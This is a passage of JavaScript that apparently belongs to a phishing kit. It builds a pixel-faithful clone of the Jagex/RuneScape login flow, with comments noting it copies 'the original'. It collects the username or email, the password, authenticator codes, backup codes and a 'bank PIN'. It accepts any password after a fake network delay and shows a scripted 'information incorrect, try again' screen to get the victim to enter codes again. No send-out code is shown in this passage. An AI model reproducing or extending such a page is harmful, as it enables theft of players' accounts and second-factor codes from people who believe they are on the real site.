btn.removeAttribute('data-isLoading'); var s = $('._root_gqfgx_35', btn); if (s) s.remove(); } } /* --- icons --- */ var ICON_WARN = '<span data-testid="e" class="_root_1yvmr_3" role="img" aria-hidden="true" style="--mask-icon-image:url("data:image/svg+xml,%3csvg%20xmlns=%27http://www.w3.org/2000/svg%27%20viewBox=%270%200%2024%2024%27%20fill=%27none%27%3e%3cpath%20d=%27M11.5732%203.65723C11.7682%203.33819%2012.2318%203.33819%2012.4268%203.65723L21.6436%2018.7393C21.8471%2019.0724%2021.6073%2019.5%2021.2168%2019.5H2.7832C2.39275%2019.5%202.15286%2019.0724%202.35645%2018.7393L11.5732%203.65723Z%27%20fill=%27%2396021C%27%20stroke=%27white%27%20/%3e%3crect%20x=%2711%27%20y=%278%27%20width=%272%27%20height=%275%27%20rx=%271%27%20fill=%27white%27%20/%3e%3crect%20x=%2711%27%20y=%2715%27%20width=%272%27%20height=%272%27%20rx=%271%27%20fill=%27white%27%20/%3e%3c/svg%3e");"></span>'; var ICON_USER = '<svg width="20" height="20" viewBox="0 0 24 24" fill="#1a1a1a" aria-hidden="true"><path d="M12 12.5a4.75 4.75 0 1 0 0-9.5 4.75 4.75 0 0 0 0 9.5zM12 14c-4.5 0-8.5 2.4-8.5 5.4V22h17v-2.6c0-3-4-5.4-8.5-5.4z"/></svg>'; var ICON_BIG = '<svg width="44" height="44" viewBox="0 0 24 24" fill="#1a1a1a" aria-hidden="true"><path d="M12 12.5a4.75 4.75 0 1 0 0-9.5 4.75 4.75 0 0 0 0 9.5zM12 14c-4.5 0-8.5 2.4-8.5 5.4V22h17v-2.6c0-3-4-5.4-8.5-5.4z"/></svg>'; var ICON_PENCIL = '<span class="_root_1yvmr_3 _flat_1yvmr_20" role="img" title="Edit" aria-label="A pencil" style="--mask-icon-image:url("data:image/svg+xml,%3csvg%20width=%2720%27%20height=%2720%27%20viewBox=%270%200%2020%2020%27%20fill=%27none%27%20xmlns=%27http://www.w3.org/2000/svg%27%3e%3cpath%20d=%27M1%2019V14L8%207L13%2012L6%2019H1Z%27%20stroke=%27white%27%20stroke-width=%272%27%20stroke-linejoin=%27round%27/%3e%3cpath%20d=%27M14%201L10.5%204.5L15.5%209.5L19%206L14%201Z%27%20stroke=%27white%27%20stroke-width=%272%27%20stroke-linejoin=%27round%27/%3e%3c/svg%3e");"></span>'; var EYE_ON = '<span class="_root_1yvmr_3 _flat_1yvmr_20" role="img" title="Visible" aria-label="An eye" style="--mask-icon-image:url("data:image/svg+xml,%3csvg%20width=%2724%27%20height=%2724%27%20viewBox=%270%200%2024%2024%27%20fill=%27none%27%20xmlns=%27http://www.w3.org/2000/svg%27%3e%3cpath%20d=%27M2.41976%2012.7132C2.28357%2012.4975%202.21548%2012.3897%202.17736%2012.2234C2.14873%2012.0985%202.14873%2011.9015%202.17736%2011.7766C2.21548%2011.6103%202.28357%2011.5025%202.41976%2011.2868C3.54516%209.50484%206.89503%205%2012%205C17.105%205%2020.4549%209.50484%2021.5803%2011.2868C21.7165%2011.5025%2021.7846%2011.6103%2021.8227%2011.7766C21.8513%2011.9015%2021.8513%2012.0985%2021.8227%2012.2234C21.7846%2012.3897%2021.7165%2012.4975%2021.5803%2012.7132C20.4549%2014.4952%2017.105%2019%2012%2019C6.89503%2019%203.54516%2014.4952%202.41976%2012.7132Z%27%20stroke=%27white%27%20stroke-width=%271.5%27%20stroke-linecap=%27round%27%20stroke-linejoin=%27round%27%20/%3e%3cpath%20d=%27M12%2015C13.6569%2015%2015%2013.6569%2015%2012C15%2010.3431%2013.6569%209%2012%209C10.3432%209%209.00004%2010.3431%209.00004%2012C9.00004%2013.6569%2010.3432%2015%2012%2015Z%27%20stroke=%27white%27%20stroke-width=%271.5%27%20stroke-linecap=%27round%27%20stroke-linejoin=%27round%27%20/%3e%3c/svg%3e");"></span>'; var EYE_OFF = '<span class="_root_1yvmr_3 _flat_1yvmr_20" role="img" title="Hidden" aria-label="An eye with a line across it" style="--mask-icon-image:url("data:image/svg+xml,%3csvg%20width=%2724%27%20height=%2724%27%20viewBox=%270%200%2024%2024%27%20fill=%27none%27%20xmlns=%27http://www.w3.org/2000/svg%27%3e%3cpath%20d=%27M10.7426%205.09232C11.149%205.03223%2011.5682%205%2012%205C17.1051%205%2020.4549%209.50484%2021.5803%2011.2868C21.7165%2011.5025%2021.7846%2011.6103%2021.8228%2011.7767C21.8514%2011.9016%2021.8514%2012.0987%2021.8227%2012.2236C21.7846%2012.3899%2021.716%2012.4985%2021.5788%2012.7156C21.279%2013.1901%2020.8218%2013.8571%2020.2161%2014.5805M6.72396%206.71504C4.56188%208.1817%203.09408%2010.2194%202.42074%2011.2853C2.28392%2011.5019%202.21551%2011.6102%202.17737%2011.7765C2.14873%2011.9014%202.14872%2012.0984%202.17735%2012.2234C2.21546%2012.3897%202.28356%2012.4975%202.41977%2012.7132C3.54518%2014.4952%206.89505%2019%2012%2019C14.0585%2019%2015.8315%2018.2676%2017.2885%2017.2766M3.00005%203L21%2021M9.87873%209.87868C9.33584%2010.4216%209.00005%2011.1716%209.00005%2012C9.00005%2013.6569%2010.3432%2015%2012%2015C12.8285%2015%2013.5785%2014.6642%2014.1214%2014.1213%27%20stroke=%27white%27%20stroke-width=%271.5%27%20stroke-linecap=%27round%27%20stroke-linejoin=%27round%27%20/%3e%3c/svg%3e");"></span>'; var RING = '<div class="_button-functional-ring_efmzs_66" aria-hidden="true"><svg class="_button-functional-ring-cap_efmzs_91" viewBox="0 0 26 66" preserveAspectRatio="none" overflow="visible"><path d="M26 0 L0 33 L26 66"></path></svg><svg class="_button-functional-ring-middle_efmzs_98" viewBox="0 0 1 66" preserveAspectRatio="none" overflow="visible"><line x1="0" y1="0" x2="1" y2="0"></line><line x1="0" y1="66" x2="1" y2="66"></line></svg><svg class="_button-functional-ring-cap_efmzs_91" viewBox="0 0 26 66" preserveAspectRatio="none" overflow="visible"><path d="M0 0 L26 33 L0 66"></path></svg></div>'; /* --- builders --- */ function ringButton (id, label, enabled) { return '<button class="_button-container_18bpm_1 _button-functional-container_efmzs_1 _button-full-width_18bpm_14" id="' + id + '" type="submit"' + (enabled ? '' : ' disabled') + '>' + RING + '<div class="_button-functional-primary_efmzs_15"></div><span class="_button-functional-label_efmzs_7 button-md">' + label + '</span></button>'; } function textField (o) { return '<div class="_field-container_12eqw_6"><label><span class="_label_12eqw_17">' + o.label + '</span>' + '<input class="_base-input_5qozh_2 _text-input_12eqw_1" type="' + o.type + '" id="' + o.id + '" name="' + o.id + '" placeholder=" " autocomplete="' + o.ac + '"></label>' + (o.suffix || '') + '</div>'; } function spacer (rem) { return '<div aria-hidden="true" style="height:' + rem + 'rem;flex-shrink:0"></div>'; } function inlineError (msg) { return '<div class="_error-wrapper_12eqw_142"><div class="_root_1cmvg_1" data-tone="error" data-variant="inline" role="alert"><div class="_content_1cmvg_94">' + ICON_WARN + '<p class="body-m _typography-primary_jl75w_11 _message_1cmvg_102" style="color:inherit">' + msg + '</p></div></div></div>'; } function bannerError (msg) { return '<div class="_root_1cmvg_1" data-tone="error" data-variant="primary" role="alert" style="margin-bottom:1rem"><div class="_content_1cmvg_94">' + ICON_WARN + '<p class="body-m _typography-primary_jl75w_11 _message_1cmvg_102" style="color:inherit">' + msg + '</p></div></div>'; } function toast (msg) { var t = $('#toast'); if (!t) { t = document.createElement('div'); t.id = 'toast'; t.className = '_root_1cmvg_1 _toast_1cmvg_134'; t.setAttribute('data-variant','primary'); t.setAttribute('data-tone','success'); t.setAttribute('role','status'); t.innerHTML = '<div class="_content_1cmvg_94"><div class="_message_1cmvg_102"><p class="body-s"></p></div></div>'; document.body.appendChild(t); } $('p', t).textContent = msg; t.style.display = 'flex'; clearTimeout(toast._h); toast._h = setTimeout(function () { t.style.display = 'none'; }, 2600); } /* --- screen switcher --- */ var HEADINGS = { login: { h: 'Login', p: '' }, password: { h: 'Login', p: 'Enter your password to continue.' }, otpload: { h: '', p: '' }, otpmethods: { h: 'Verification', p: 'Please choose a way for us to verify it\u2019s you.' }, otp: { h: 'Enter verification code', p: 'Please enter the code from your authenticator app to continue.' }, backup: { h: 'Enter backup code', p: 'Enter one of your account\u2019s backup codes to continue.' }, pin: { h: 'Verify your bank PIN', p: 'Please enter your 4-digit bank PIN to continue.' }, pinerror: { h: 'We\u2019re sorry', p: 'Unfortunately, some of the information you entered is incorrect. Please try again.' }, socialerr: { h: 'We\u2019re sorry', p: 'Unfortunately, this login method is temporarily unavailable. Please try again later.' }, characters: { h: 'Select a character', p: 'Choose which character to log in with.' }, done: { h: 'Logged in', p: 'You are logged in to your RuneScape account.' } }; var RENDER = {}, BIND = {}; function show (name) { panel.innerHTML = name === 'login' ? TEMPLATES.login : RENDER[name](); if (name === 'login') HEADINGS.login.p = state.method === 'email' ? 'Log in using your email address.' : 'Log in using your RuneScape username.'; heading.textContent = HEADINGS[name].h; subhead.innerHTML = HEADINGS[name].p; var pt = $('._panel-top_s2fcg_25'); if (pt) pt.style.display = HEADINGS[name].h ? '' : 'none'; BIND[name](); var f = $('input:not([type=radio]):not([disabled])', panel) || $('button:not([disabled])', panel); if (f) f.focus(); } /* ============ SCREEN 1: LOGIN ============ */ function applyLoginMethod () { var isEmail = state.method === 'email'; var input = $('#email') || $('#username'); input.id = input.name = isEmail ? 'email' : 'username'; input.type = isEmail ? 'email' : 'text'; $('._label_12eqw_17', input.closest('._field-container_12eqw_6')).textContent = isEmail ? 'Email' : 'RuneScape username'; $('[data-testid="assisted-login-page--change-login-method-button"]', panel).textContent = isEmail ? 'Log in with RuneScape username' : 'Log in with email address'; } BIND.login = function () { applyLoginMethod(); var form = $('form', panel); var input = $('#email') || $('#username'); var btn = $('#continue-with-assisted-via-email-flow'); var touchedOtp = false; var swap = $('[data-testid="assisted-login-page--change-login-method-button"]', panel); var field = $('._field-container_12eqw_6', form); var armed = false; /* true after the first error has fired, like the original */ var skipBlur = false; /* set when blur was caused by clicking the swap button */ function valid () { var v = input.value.trim(); return state.method === 'email' ? EMAIL_RE.test(v) : USERNAME_RE.test(v); } function removeError () { var w = $('._error-wrapper_12eqw_142', form); if (w) w.remove(); } function showError () { armed = true; /* <-- the first trigger: from now on empty blur also errors */ input.classList.add('_is-invalid_5qozh_44'); input.setAttribute('aria-invalid', 'true'); removeError(); field.insertAdjacentHTML('afterend', inlineError(state.method === 'email' ? 'A valid email is required to log in' : 'A RuneScape username is required to log in')); btn.setAttribute('disabled', ''); } function clearError () { input.classList.remove('_is-invalid_5qozh_44'); input.removeAttribute('aria-invalid'); removeError(); } swap.addEventListener('mousedown', function () { skipBlur = true; }); input.addEventListener('focus', clearError); input.addEventListener('input', function () { if (valid()) { clearError(); btn.removeAttribute('disabled'); } else btn.setAttribute('disabled', ''); }); input.addEventListener('blur', function () { if (skipBlur) { skipBlur = false; return; } if (!armed && input.value.trim() === '') return; /* pristine: quiet */ if (!valid()) showError(); else clearError(); }); swap.addEventListener('click', function () { state.method = state.method === 'email' ? 'username' : 'email'; input.value = ''; armed = false; clearError(); applyLoginMethod(); btn.setAttribute('disabled', ''); subhead.textContent = HEADINGS.login.p; input.focus(); }); form.addEventListener('submit', function (e) { e.preventDefault(); if (btn.getAttribute('data-isLoading') === 'true') return; if (!valid()) { showError(); input.focus(); return; } state.identity = input.value.trim(); setLoading(btn, true); fakeNetwork().then(function () { setLoading(btn, false); show('password'); }); }); }; /* ============ SCREEN 2: PASSWORD ============ */ RENDER.password = function () { var isEmail = state.method === 'email'; var idLabel = isEmail ? 'Email' : 'RuneScape username'; return '<div class="_root_1hoq4_1" style="display:block;max-width:100rem">' + '<form class="css-1d3w5wq e13izzvi0" novalidate>' + '<div id="form-error"></div>' + '<div class="_field-container_12eqw_6"><label><span class="_label_12eqw_17">' + idLabel + '</span>' + '<input class="_base-input_5qozh_2 _text-input_12eqw_1" type="' + (isEmail ? 'email' : 'text') + '" disabled="" data-testid="assisted-login--credentials-form--change-email" placeholder=" " id="email" name="email" autocomplete="username" value="' + state.identity + '"></label>' + '<button type="button" id="edit-identity" class="_suffix-icon_12eqw_13" data-testid="dSuffixIcon" title="Change">' + ICON_PENCIL + '</button></div>' + '<div aria-hidden="true" data-testid="A" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<div class="_field-container_12eqw_6"><label><span class="_label_12eqw_17">Password</span>' + '<input class="_base-input_5qozh_2 _text-input_12eqw_1" type="password" data-testid="assisted-login--credentials-form--password" placeholder=" " id="password" name="password" autocomplete="current-password" value=""></label>' + '<button type="button" id="toggle-pw" class="_suffix-icon_12eqw_13" data-testid="dSuffixIcon" title="Show password">' + EYE_OFF + '</button></div>' + '<div aria-hidden="true" data-testid="A" style="height:var(--size-075-rem);width:var(--size-075-rem);flex-shrink:0"></div>' + '<div class="_supporting-content-wrapper_12eqw_117">' + '<div class="_supporting-action_12eqw_134 _supporting-action-only_12eqw_138"><a data-testid="jagex-forgot-password-link" class="_root_1d2ez_1 link-xs" href="https://account.jagex.com/en-GB/login/forgot">Forgot password</a></div>' + '</div>' + '<div id="field-error"></div>' + '<div aria-hidden="true" data-testid="A" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<button class="_button-container_18bpm_1 _button-functional-container_efmzs_1 _button-full-width_18bpm_14" id="continue-btn" data-testid="continue-with-jagex-flow" type="submit" disabled="">' + RING + '<div class="_button-functional-primary_efmzs_15"></div><span class="_button-functional-label_efmzs_7 button-md">Continue</span></button>' + '</form>' + '<div aria-hidden="true" data-testid="A" style="height:var(--size-300-rem);width:var(--size-300-rem);flex-shrink:0"></div>' + '<button class="_root_1d2ez_1 _inline-button_1g0l3_1 _inline-button-primary_1g0l3_8 link-m" data-testid="assisted-login-page--account-creation-text" onclick="goTo(\'https://account.jagex.com/en-GB/login/registration-start\')">Create account</button>' + '<div aria-hidden="true" data-testid="A" style="height:var(--size-800-rem);width:var(--size-800-rem);flex-shrink:0"></div>' + '</div>'; }; BIND.password = function () { var form = $('form', panel); var input = $('#password'); var btn = $('#continue-btn'); var eye = $('#toggle-pw'); var touched = false; /* field has had content at least once — the real original's trigger */ function showError (msg) { input.classList.add('_is-invalid_5qozh_44'); input.setAttribute('aria-invalid', 'true'); $('#field-error').innerHTML = inlineError(msg); } function clearError () { input.classList.remove('_is-invalid_5qozh_44'); input.removeAttribute('aria-invalid'); $('#field-error').innerHTML = ''; $('#form-error').innerHTML = ''; } /* pencil: back to a fresh, empty login page */ $('#edit-identity').addEventListener('click', function () { show('login'); }); /* eye: toggle visibility */ eye.addEventListener('click', function () { var showing = input.type === 'password'; input.type = showing ? 'text' : 'password'; eye.innerHTML = showing ? EYE_ON : EYE_OFF; input.focus(); }); /* focus: red clears the moment you select the box */ input.addEventListener('focus', function () { input.classList.remove('_is-invalid_5qozh_44'); input.removeAttribute('aria-invalid'); $('#field-error').innerHTML = ''; }); /* input: typing clears red, first char lights Continue */ input.addEventListener('input', function () { if (input.value.length > 0) touched = true; clearError(); if (input.value.length > 0) btn.removeAttribute('disabled'); else btn.setAttribute('disabled', ''); }); /* blur: quiet until field has been typed in, then empty = error */ input.addEventListener('blur', function () { if (!touched && input.value === '') return; /* pristine: quiet */ if (input.value === '') showError('A password is required to log in'); }); /* submit: any non-empty password is accepted */ form.addEventListener('submit', function (e) { e.preventDefault(); if (btn.getAttribute('data-isLoading') === 'true') return; if (input.value === '') { showError('A password is required to log in'); input.focus(); return; } setLoading(btn, true); fakeNetwork().then(function () { setLoading(btn, false); if (state.method === 'username') { /* username scenario: skip the method list, straight to the authenticator */ state.otpmethod = 'totp'; HEADINGS.otp = { h: 'Enter verification code', p: 'Please enter the code from your authenticator app to continue.' }; showViaLoader('otp', 1300); } else { showViaLoader('otpmethods', 1050); } }); }); }; /* ============ SCREEN 2.5: LOADER + VERIFICATION (original markup) ============ */ var MFA_ICON_TOTP = `<span data-testid="e" class="_root_1yvmr_3 _icon_1d5fd_9" role="img" aria-hidden="true" title="App code" aria-label="A phone with a shield" style="--mask-icon-image: url("data:image/svg+xml,%3csvg%20width='32'%20height='32'%20viewBox='0%200%2032%2032'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3crect%20x='6.5'%20y='0.5'%20width='19'%20height='31'%20rx='3.5'%20fill='url(%23paint0_linear_5322_3049)'%20stroke='url(%23paint1_linear_5322_3049)'%20stroke-linecap='round'%20stroke-linejoin='round'%20/%3e%3ccircle%20cx='15.5'%20cy='27.5'%20r='1.5'%20fill='%23F2F4F4'%20/%3e%3cg%20filter='url(%23filter0_d_5322_3049)'%3e%3cg%20filter='url(%23filter1_d_5322_3049)'%3e%3cpath%20d='M5.36002%2016.821L4.40002%2016.101C4.33602%2016.053%204.30402%2015.997%204.30402%2015.933C4.30402%2015.869%204.32802%2015.813%204.37602%2015.765L5.98402%2013.917L3.58402%2013.389C3.48802%2013.373%203.43202%2013.341%203.41602%2013.293C3.41602%2013.229%203.42402%2013.165%203.44002%2013.101L3.82402%2011.997C3.85602%2011.917%203.89602%2011.869%203.94402%2011.853C4.00802%2011.821%204.07202%2011.821%204.13602%2011.853L6.34402%2012.789L6.12802%2010.365C6.09602%2010.205%206.16802%2010.125%206.34402%2010.125H7.52002C7.69602%2010.125%207.76802%2010.205%207.73602%2010.365L7.52002%2012.813L9.75202%2011.853C9.81602%2011.821%209.88002%2011.821%209.94402%2011.853C10.008%2011.869%2010.048%2011.917%2010.064%2011.997L10.448%2013.101C10.48%2013.197%2010.48%2013.269%2010.448%2013.317C10.432%2013.349%2010.384%2013.373%2010.304%2013.389L7.88002%2013.941L9.48802%2015.765C9.55202%2015.829%209.57602%2015.893%209.56002%2015.957C9.54402%2016.005%209.50402%2016.053%209.44002%2016.101L8.48002%2016.797C8.35202%2016.893%208.24802%2016.869%208.16802%2016.725L6.92002%2014.637L5.67202%2016.749C5.62402%2016.813%205.57602%2016.853%205.52802%2016.869C5.48002%2016.885%205.42402%2016.869%205.36002%2016.821Z'%20fill='url(%23paint2_linear_5322_3049)'%20/%3e%3c/g%3e%3cg%20filter='url(%23filter2_d_5322_3049)'%3e%3cpath%20d='M14.416%2016.821L13.456%2016.101C13.392%2016.053%2013.36%2015.997%2013.36%2015.933C13.36%2015.869%2013.384%2015.813%2013.432%2015.765L15.04%2013.917L12.64%2013.389C12.544%2013.373%2012.488%2013.341%2012.472%2013.293C12.472%2013.229%2012.48%2013.165%2012.496%2013.101L12.88%2011.997C12.912%2011.917%2012.952%2011.869%2013%2011.853C13.064%2011.821%2013.128%2011.821%2013.192%2011.853L15.4%2012.789L15.184%2010.365C15.152%2010.205%2015.224%2010.125%2015.4%2010.125H16.576C16.752%2010.125%2016.824%2010.205%2016.792%2010.365L16.576%2012.813L18.808%2011.853C18.872%2011.821%2018.936%2011.821%2019%2011.853C19.064%2011.869%2019.104%2011.917%2019.12%2011.997L19.504%2013.101C19.536%2013.197%2019.536%2013.269%2019.504%2013.317C19.488%2013.349%2019.44%2013.373%2019.36%2013.389L16.936%2013.941L18.544%2015.765C18.608%2015.829%2018.632%2015.893%2018.616%2015.957C18.6%2016.005%2018.56%2016.053%2018.496%2016.101L17.536%2016.797C17.408%2016.893%2017.304%2016.869%2017.224%2016.725L15.976%2014.637L14.728%2016.749C14.68%2016.813%2014.632%2016.853%2014.584%2016.869C14.536%2016.885%2014.48%2016.869%2014.416%2016.821Z'%20fill='url(%23paint3_linear_5322_3049)'%20/%3e%3c/g%3e%3cg%20filter='url(%23filter3_d_5322_3049)'%3e%3cpath%20d='M23.472%2016.821L22.512%2016.101C22.448%2016.053%2022.416%2015.997%2022.416%2015.933C22.416%2015.869%2022.44%2015.813%2022.488%2015.765L24.096%2013.917L21.696%2013.389C21.6%2013.373%2021.544%2013.341%2021.528%2013.293C21.528%2013.229%2021.536%2013.165%2021.552%2013.101L21.936%2011.997C21.968%2011.917%2022.008%2011.869%2022.056%2011.853C22.12%2011.821%2022.184%2011.821%2022.248%2011.853L24.456%2012.789L24.24%2010.365C24.208%2010.205%2024.28%2010.125%2024.456%2010.125H25.632C25.808%2010.125%2025.88%2010.205%2025.848%2010.365L25.632%2012.813L27.864%2011.853C27.928%2011.821%2027.992%2011.821%2028.056%2011.853C28.12%2011.869%2028.16%2011.917%2028.176%2011.997L28.56%2013.101C28.592%2013.197%2028.592%2013.269%2028.56%2013.317C28.544%2013.349%2028.496%2013.373%2028.416%2013.389L25.992%2013.941L27.6%2015.765C27.664%2015.829%2027.688%2015.893%2027.672%2015.957C27.656%2016.005%2027.616%2016.053%2027.552%2016.101L26.592%2016.797C26.464%2016.893%2026.36%2016.869%2026.28%2016.725L25.032%2014.637L23.784%2016.749C23.736%2016.813%2023.688%2016.853%2023.64%2016.869C23.592%2016.885%2023.536%2016.869%2023.472%2016.821Z'%20fill='url(%23paint4_linear_5322_3049)'%20/%3e%3c/g%3e%3c/g%3e%3cdefs%3e%3cfilter%20id='filter0_d_5322_3049'%20x='-1'%20y='10.125'%20width='34'%20height='8.75'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'%20/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'%20/%3e%3cfeOffset%20dy='1'%20/%3e%3cfeGaussianBlur%20stdDeviation='0.5'%20/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'%20/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.15%200'%20/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_5322_3049'%20/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_5322_3049'%20result='shape'%20/%3e%3c/filter%3e%3cfilter%20id='filter1_d_5322_3049'%20x='2.41602'%20y='10.125'%20width='9.05603'%20height='8.75'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'%20/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'%20/%3e%3cfeOffset%20dy='1'%20/%3e%3cfeGaussianBlur%20stdDeviation='0.5'%20/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'%20/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.15%200'%20/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_5322_3049'%20/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_5322_3049'%20result='shape'%20/%3e%3c/filter%3e%3cfilter%20id='filter2_d_5322_3049'%20x='11.472'%20y='10.125'%20width='9.05603'%20height='8.75'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'%20/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'%20/%3e%3cfeOffset%20dy='1'%20/%3e%3cfeGaussianBlur%20stdDeviation='0.5'%20/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'%20/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.15%200'%20/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_5322_3049'%20/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_5322_3049'%20result='shape'%20/%3e%3c/filter%3e%3cfilter%20id='filter3_d_5322_3049'%20x='20.528'%20y='10.125'%20width='9.05603'%20height='8.75'%20filterUnits='userSpaceOnUse'%20color-interpolation-filters='sRGB'%3e%3cfeFlood%20flood-opacity='0'%20result='BackgroundImageFix'%20/%3e%3cfeColorMatrix%20in='SourceAlpha'%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%20127%200'%20result='hardAlpha'%20/%3e%3cfeOffset%20dy='1'%20/%3e%3cfeGaussianBlur%20stdDeviation='0.5'%20/%3e%3cfeComposite%20in2='hardAlpha'%20operator='out'%20/%3e%3cfeColorMatrix%20type='matrix'%20values='0%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200%200.15%200'%20/%3e%3cfeBlend%20mode='normal'%20in2='BackgroundImageFix'%20result='effect1_dropShadow_5322_3049'%20/%3e%3cfeBlend%20mode='normal'%20in='SourceGraphic'%20in2='effect1_dropShadow_5322_3049'%20result='shape'%20/%3e%3c/filter%3e%3clinearGradient%20id='paint0_linear_5322_3049'%20x1='16'%20y1='1'%20x2='16'%20y2='31'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='1'%20stop-color='%23231811'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint1_linear_5322_3049'%20x1='24.6667'%20y1='20.125'%20x2='22.3533'%20y2='1.09637'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='0.421395'%20stop-color='%23AC7954'%20/%3e%3cstop%20offset='0.812461'%20stop-color='%23FFDA89'%20/%3e%3cstop%20offset='1'%20stop-color='%23FFF7D9'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint2_linear_5322_3049'%20x1='6.94402'%20y1='10.125'%20x2='6.94402'%20y2='16.875'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23F2F4F4'%20/%3e%3cstop%20offset='1'%20stop-color='%238D8987'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint3_linear_5322_3049'%20x1='16'%20y1='10.125'%20x2='16'%20y2='16.875'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23F2F4F4'%20/%3e%3cstop%20offset='1'%20stop-color='%238D8987'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint4_linear_5322_3049'%20x1='25.056'%20y1='10.125'%20x2='25.056'%20y2='16.875'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23F2F4F4'%20/%3e%3cstop%20offset='1'%20stop-color='%238D8987'%20/%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e");"></span>`; var MFA_ICON_EMAIL = `<span data-testid="e" class="_root_1yvmr_3 _icon_1d5fd_9" role="img" aria-hidden="true" title="Email Code" aria-label="An envelope with a shield" style="--mask-icon-image: url("data:image/svg+xml,%3csvg%20width='32'%20height='32'%20viewBox='0%200%2032%2032'%20fill='none'%20xmlns='http://www.w3.org/2000/svg'%3e%3cpath%20d='M27.5663%204.50003C29.6487%204.50015%2031.3835%206.10578%2031.3837%208.14261V23.8575C31.3835%2025.8943%2029.6487%2027.4999%2027.5663%2027.5H4.34268C2.26031%2027.4999%200.525457%2025.8943%200.525299%2023.8575V8.14261C0.525457%206.10577%202.26031%204.50014%204.34268%204.50003H27.5663Z'%20fill='url(%23paint0_linear_5322_3096)'%20stroke='url(%23paint1_linear_5322_3096)'%20stroke-linecap='round'%20stroke-linejoin='round'%20/%3e%3cpath%20d='M1%2010.5767L16.3474%2016.0989L31%2010.5767'%20stroke='url(%23paint2_linear_5322_3096)'%20stroke-linecap='round'%20stroke-linejoin='round'%20/%3e%3cpath%20d='M23.321%2010.8577C20.1403%2011.212%2018.8252%2010.7894%2015.9543%208.56799C13.0834%2010.7894%2011.7684%2011.212%208.58765%2010.8577C8.0114%2019.9908%2015.4058%2023.1444%2015.9543%2023.3653C16.5028%2023.1444%2023.8973%2019.9908%2023.321%2010.8577Z'%20fill='url(%23paint3_linear_5322_3096)'%20/%3e%3cdefs%3e%3clinearGradient%20id='paint0_linear_5322_3096'%20x1='15.9545'%20y1='5.00003'%20x2='15.9545'%20y2='27'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='1'%20stop-color='%23231811'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint1_linear_5322_3096'%20x1='30.3308'%20y1='19.025'%20x2='29.5719'%20y2='4.90525'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='0.421395'%20stop-color='%23AC7954'%20/%3e%3cstop%20offset='0.812461'%20stop-color='%23FFDA89'%20/%3e%3cstop%20offset='1'%20stop-color='%23FFF7D9'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint2_linear_5322_3096'%20x1='17.5'%20y1='25.7881'%20x2='13.4372'%20y2='6.77376'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23674832'%20/%3e%3cstop%20offset='0.421395'%20stop-color='%23AC7954'%20/%3e%3cstop%20offset='0.806527'%20stop-color='%23FFDA89'%20/%3e%3cstop%20offset='1'%20stop-color='%23FFF7D9'%20/%3e%3c/linearGradient%3e%3clinearGradient%20id='paint3_linear_5322_3096'%20x1='15.9543'%20y1='8.56799'%20x2='15.9543'%20y2='23.3653'%20gradientUnits='userSpaceOnUse'%3e%3cstop%20stop-color='%23F2F4F4'%20/%3e%3cstop%20offset='1'%20stop-color='%238D8987'%20/%3e%3c/linearGradient%3e%3c/defs%3e%3c/svg%3e");"></span>`; var MFA_ICON_BACKUP = `<span data-testid="e" class="_root_1yvmr_3 _icon_1d5fd_9" role="img" aria-hidden="true" title="Backup Code" aria-label="A shield with a key" style="--mask-icon-image: 